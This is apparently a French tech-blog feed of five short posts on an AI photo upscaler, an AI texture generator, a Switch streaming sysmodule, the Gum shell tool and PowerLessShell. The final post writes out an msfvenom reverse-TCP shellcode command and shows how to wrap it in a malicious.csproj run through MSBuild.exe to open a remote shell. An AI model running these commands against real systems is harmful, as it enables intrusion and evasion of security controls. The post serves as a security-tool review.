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source: Korben

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SuperImage – L’application ultime pour améliorer vos photos grâce à l’IA

vendredi 28 juillet 2023 à 09:00

En tant qu’amoureux de la technologie et de la photographie, je ne pouvais pas m’empêcher de vous parler de cette nouvelle application révolutionnaire nommée SuperImage.

Cette petite app pour Android et Windows 11 utilise un réseau neuronal (deep learning) pour mettre à l’échelle et améliorer la qualité de vos images directement depuis votre smartphone.

Ainsi, finis les soucis de confidentialité lorsqu’on doit envoyer nos précieuses photos à des serveurs inconnus. Avec SuperImage, l’image d’entrée est traitée petit bout par petit bout directement grâce au GPU de l’appareil, en utilisant un modèle Real-ESRGAN pré-entraîné.

Les morceaux de l’image sont ensuite fusionnés en une image haute résolution finale. Mais attention, pour utiliser cette merveille, votre téléphone devra être sous Android 7 minimum avec une prise en charge de Vulkan ou OpenCL. Ne vous inquiétez pas, la plupart des téléphones récents répondent à ces critères.

Pour télécharger SuperImage, vous le trouverez sur le Google PlayStore, mais également sur F-droid ou encore directement sous la forme d’un APK sur la page Github.

Et pour les gens sous Windows 11, c’est par ici mon kiki !

Je dois avouer que j’étais un peu sceptique à l’idée qu’une simple application puisse considérablement améliorer mes photos ou les images que je récupère sur Internet, mais les résultats sont là.

Je vous recommande de tester SuperImage par vous-même et vous m’en direz des nouvelles.

À découvrir ici

Poly – L’outil IA de création de textures sans raccord

jeudi 27 juillet 2023 à 09:00

Vous le savez, créer des textures sans raccord visible pour vos projets 3D a toujours été un sacré défi. Comme beaucoup d’autres, j’imagine qu’en temps que concepteur de texture, vous passez des heures à ajuster chaque détail pour obtenir la perfection. Mais ce temps est révolu grâce à Poly, un outil incroyable va vous épater avec ses fonctionnalités de ouuuuf ^^.

Il s’agit donc d’un outil de création de textures propulsé par IA qui permet de générer rapidement des textures personnalisées, en 8K HD et sans raccord visible en utilisant une simple requête textuelle et/ou une image en quelques secondes. Je suis sûre que beaucoup d’entre vous connaissent déjà toutes ces disciplines liées à la 3D telles que la modélisation 3D, la conception de personnages, la visualisation architecturale (« Arch Viz »), le développement de jeux, la création de mondes AR / VR, et bien plus encore. Eh bien, Poly est parfaitement adapté à toutes ces utilisations !

Ce qui m’a vraiment plu, c’est l’interface utilisateur simple et accessible de Poly, directement en mode Web. Pas besoin d’installation un soft ni d’avoir un GPU de dingue, et il est totalement gratuit. En fait, vous n’avez même pas besoin de vous inscrire ou de vous connecter du tout. L’éditeur est vraiment cool puisqu’il permet de générer ce que vous voulez, mais également de choisir le type de matériaux, la résolution et de faire des retouches.

Vous pouvez également générer des variations infinies à partir d’une texture, ce qui est très cool pour obtenir vraiment le rendu que vous voulez. Pour vous donner un exemple concret, disons que vous travaillez sur un projet de jeu et que vous avez besoin d’une texture spécifique pour un mur de briques. Vous pouvez simplement taper « brick » et voilà ! L’outil génère une texture de mur de briques 8K HD en quelques secondes. Vous pouvez ensuite télécharger les cartes PBR correspondantes et les importer dans votre moteur de jeu préféré.

Ainsi, vous gagnerez un temps précieux dans tous vos projets 3D.

A tester ici.

SysDVR – Le sysmodule multiplateforme pour capturer et diffuser vos jeux Switch

mercredi 26 juillet 2023 à 09:00

S’il y a bien une chose qui peut divertir, amuser et même nous transporter dans un univers fantastique, ce sont les jeux sur la merveilleuse Nintendo Switch.

Alors imaginez s’il y avait un moyen pratique de capturer nos moments de jeu les plus épiques et de les partager avec des amis ou même les diffuser en direct sur le monde entier, sans avoir à investir dans du matos spécial ?

Et bien, j’ai une excellente nouvelle pour vous : il existe une solution magique qui vous permettra de réaliser ces prouesses, et cela s’appelle SysDVR !

SysDVR est ce qu’on appelle un sysmodule, qui permet de capturer la sortie d’un jeu en cours d’exécution sur votre Nintendo Switch (crackée) et de la diffuser vers un PC via une connexion USB ou réseau. La beauté de cet outil réside dans sa compatibilité multiplateforme, puisqu’il peut diffuser vers Windows, Mac et Linux. En termes de qualité, SysDVR ne vous décevra pas non plus ! La qualité vidéo est fixée à 720p et 30 images par seconde avec une compression h264, tandis que la qualité audio est fixée à 16 bits PCM à 48 kHz en stéréo.

L’un des aspects les plus impressionnants de SysDVR est sa latence très faible lorsqu’il est configuré de manière optimale. Cela signifie que la plupart des jeux sont parfaitement jouables et que vos amis pourront voir en temps réel toutes les aventures spectaculaires que vous vivrez dans le nouveau Zelda par exemple.

Cependant, il faut garder à l’esprit que SysDVR ne fonctionne que sur les jeux qui ont l’enregistrement vidéo activé et ne capture que la sortie du jeu. La qualité de la diffusion dépendra également fortement de votre environnement, il est donc important d’avoir des câbles USB de qualité et un signal wifi robuste.

Malheureusement, la diffusion via USB n’est pas disponible lorsque la Switch est connectée à un dock, et vous aurez besoin d’au moins le firmware 6.0.0 pour que cela fonctionne. Pour vous aider dans l’utilisation de SysDVR, je vous recommande vivement de consulter le guide sur le wiki. Si vous rencontrez des problèmes, n’hésitez pas également à consulter la page des problèmes courants ou à demander de l’aide sur Discord ou en ouvrant un ticket de support.

Si vous appréciez le travail du développeur de SysDVR et que vous souhaitez le soutenir, n’hésitez pas à lui faire un don via Ko-fi.

SysDVR c’est à découvrir ici.

Gum – Un outil pour écrire des scripts en un clin d’oeil

mardi 25 juillet 2023 à 09:00

Voici un outil fantastique nommé Gum qui va vous permettre d’écrire des scripts Shell et de gérer vos dotfiles en quelques lignes de code seulement, et après l’avoir testé, je suis sûr que vous ne pourrez plus vous en passer.

Voici un exemple de ce qu’il est possible de faire avec Gum :

Et voici le code associé :

#!/bin/bash

gum style --border normal --margin "1" --padding "1 2" --border-foreground 212 "Hello, there! Welcome to $(gum style --foreground 212 'Gum')."
NAME=$(gum input --placeholder "What is your name?")

echo -e "Well, it is nice to meet you, $(gum style --foreground 212 "$NAME")."

sleep 2; clear

echo -e "Can you tell me a $(gum style --italic --foreground 99 'secret')?\n"

gum write --placeholder "I'll keep it to myself, I promise!" > /dev/null # we keep the secret to ourselves

clear; echo "What should I do with this information?"; sleep 1

READ="Read"; THINK="Think"; DISCARD="Discard"
ACTIONS=$(gum choose --cursor-prefix "[ ] " --selected-prefix "[✓] " --no-limit "$READ" "$THINK" "$DISCARD")

clear; echo "One moment, please."

grep -q "$READ" <<< "$ACTIONS" && gum spin -s line --title "Reading the secret..." -- sleep 1
grep -q "$THINK" <<< "$ACTIONS" && gum spin -s pulse --title "Thinking about your secret..." -- sleep 1
grep -q "$DISCARD" <<< "$ACTIONS" && gum spin -s monkey --title " Discarding your secret..." -- sleep 2

sleep 1; clear

echo "What's your favorite $(gum style --foreground 212 "Gum") flavor?"
GUM=$(echo -e "Cherry\nGrape\nLime\nOrange" | gum filter)
echo "I'll keep that in mind!"

sleep 1; clear

echo "Do you like $(gum style --foreground "#04B575" "Bubble Gum?")"
sleep 1

CHOICE=$(gum choose --item.foreground 250 "Yes" "No" "It's complicated")

[[ "$CHOICE" == "Yes" ]] && echo "I thought so, $(gum style --bold "Bubble Gum") is the best." || echo "I'm sorry to hear that."

sleep 1

gum spin --title "Chewing some $(gum style --foreground "#04B575" "$GUM") bubble gum..." -- sleep 5

clear

NICE_MEETING_YOU=$(gum style --height 5 --width 25 --padding '1 3' --border double --border-foreground 57 "Well, it was nice meeting you, $(gum style --foreground 212 "$NAME"). Hope to see you soon!")
CHEW_BUBBLE_GUM=$(gum style --width 25 --padding '1 3' --border double --border-foreground 212 "Don't forget to chew some $(gum style --foreground "#04B575" "$GUM") bubble gum.")
gum join --horizontal "$NICE_MEETING_YOU" "$CHEW_BUBBLE_GUM"

Pour l’installer, vous pouvez le faire soit avec un gestionnaire de paquets ou en le téléchargeant directement. Des packages sont d’ailleurs disponibles pour Debian, RPM et Alpine, ainsi que des binaires pour Linux, macOS (brew install gum), Windows (scoop install charm-gum), FreeBSD, OpenBSD et NetBSD.

Et si vous préférez, vous pouvez même l’installer à l’aide de Go. Personnellement, j’adore le côté flexible de Gum : il peut être intégré dans des scripts et adapté à votre convenance grâce aux options de configuration et aux variables d’environnement, ce qui vous permet par exemple de personnaliser la couleur du curseur ou la largeur de l’affichage.

La documentation est très complète à ce sujet.

Ainsi, la commande « gum input » permet de demander une entrée à l’utilisateur, tandis que « gum write » fonctionne pour une entrée multi-ligne.

Envie de filtrer une liste de valeurs en utilisant la correspondance floue ? Gum est là pour ça avec « gum filter« . Et si vous avez besoin d’aide pour choisir une option à partir d’une liste de choix, « gum choose » sera votre meilleur allié.

Même la commande « gum confirm » rend la vie plus simple en demandant si une action doit être effectuée ou non. J’apprécie également énormément l’option « gum file« , qui me permet de sélectionner un fichier directement depuis l’arborescence des fichiers, et la commande « gum spin » ne manque pas de me rappeler que Gum travaille fort fort fort pour moi en affichant un spinner (vous savez, le petit cercle qui tourne pour vous faire patienter) pendant qu’une commande ou un script s’exécute.

Voici un autre exemple de code :

#!/bin/sh
TYPE=$(gum choose "fix" "feat" "docs" "style" "refactor" "test" "chore" "revert")
SCOPE=$(gum input --placeholder "scope")

# Since the scope is optional, wrap it in parentheses if it has a value.
test -n "$SCOPE" && SCOPE="($SCOPE)"

# Pre-populate the input with the type(scope): so that the user may change it
SUMMARY=$(gum input --value "$TYPE$SCOPE: " --placeholder "Summary of this change")
DESCRIPTION=$(gum write --placeholder "Details of this change (CTRL+D to finish)")

# Commit these changes
gum confirm "Commit changes?" && git commit -m "$SUMMARY" -m "$DESCRIPTION"

Et le rendu dans le terminal :

Outre ces commandes de base, Gum propose également une panoplie d’options pour s’adapter à vos besoins spécifiques. Les différents types de spinner incluent ligne, point, minidot, saut, impulsion, points, globe, lune, un singe (!), mètre et même un hamburger. La commande de tableau est très pratique pour sélectionner des données tabulaires, tandis que le style et la mise en page sont personnalisables à loisir pour combiner texte de manière verticale ou horizontale, ou encore pour traiter et formater les paragraphes. Pour plus d’informations sur les modèles, pensez encore une fois à consulter la documentation.

Mais ce qui fait vraiment la force de Gum, c’est sa capacité à être intégré à diverses tâches du quotidien. Qui n’a jamais souhaité écrire un message de commit en un instant, ouvrir des fichiers dans son éditeur de texte préféré, se connecter à une session TMUX, sélectionner un hash de commit dans son historique Git, choisir des mots de passe avec Skate, ou encore supprimer des branches en deux temps trois mouvements ?

Un tour d’horizon des exemples du répertoire Gum vous convaincra d’autant plus de l’intérêt de cet outil.

Gum est à découvrir ici !

PowerLessShell – Exécutez des Scripts PowerShell sans powershell.exe

lundi 24 juillet 2023 à 09:00

PowerLessShell est un outil incroyable pour les passionnés de PowerShell et de sécurité informatique. Qui aurait cru qu’on pouvait exécuter des scripts et des commandes PowerShell sans même lancer powershell.exe ? Et pour couronner le tout, il permet également d’exécuter du shellcode brut ! C’est de la sorcellerie !

La puissance de cet outil réside dans son utilisation de MSBuild.exe. La combinaison des deux permet d’obtenir un résultat vraiment cool pour les pro du Powershell. Certaines conditions peuvent être utilisées avec MSBuild pour empêcher l’exécution du code si elles ne sont pas remplies, ce qui ajoute une couche de sécurité.

La beauté de PowerLessShell, c’est qu’il utilise des arguments de ligne de commande pour générer le fichier final et il peut générer une charge utile PowerShell ou shellcode. C’est donc très utile également pour les pros en sécurité informatique.

Le concept est très bien expliqué avec des exemples concrets comme celui-ci :

$ python PowerLessShell.py -source shellcode64.raw -output malicious.csproj -arch 64
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe
File 'malicious.csproj' created
Process completed

Le processus est assez simple et direct, même pour ceux qui n’ont pas beaucoup d’expérience avec PowerShell ou MSBuild.

Et ce n’est pas tout ! Un script nommé Cobalt Strike Aggressor (wmi_msbuild.cna) est également disponible avec des instructions pour la configuration et l’utilisation. Si vous n’avez jamais entendu parler de Cobalt Strike, c’est une plateforme de post-exploitation professionnelle de qualité militaire.

Le plus impressionnant, c’est que tout ceci a été mis au point par une seule personne : Mr.Un1k0d3r.

Alors, comment utiliser ce merveilleux outil en pratique ?

Voici un exemple d’utilisation de PowerLessShell pour générer un shellcode avec l’outil msfvenom de Metasploit et ensuite l’exécuter avec MSBuild :

msfvenom -a x64 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=1234 -b '\\x00\\x0A\\x0D' -i 20 -f csharp

Ensuite, utilisez PowerLessShell pour injecter le shellcode dans un fichier MSBuild :

PowerLessShell.exe -s <shellcode> -w 20

Finalement, exécutez le fichier malveillant avec MSBuild :

MSBuild.exe malicious.csproj

Voilà, le tour est joué ! Il vous suffira d’écouter la connexion entrante shell_reverse_tcp sur votre serveur pour guetter la connexion du client malveillant et prendre le contrôle. C’est un exemple simple mais puissant de ce que PowerLessShell peut faire. Evidemment, c’est à manipuler avec éthique, dans un cadre de recherche ou lors d’une mission de sécurité informatique.

En conclusion, que vous soyez un professionnel de la sécurité informatique ou simplement quelqu’un qui aime bidouiller et apprendre, cet outil vous surprendra à coup sûr. N’hésitez pas à visiter le GitHub de PowerLessShell pour en savoir plus ici.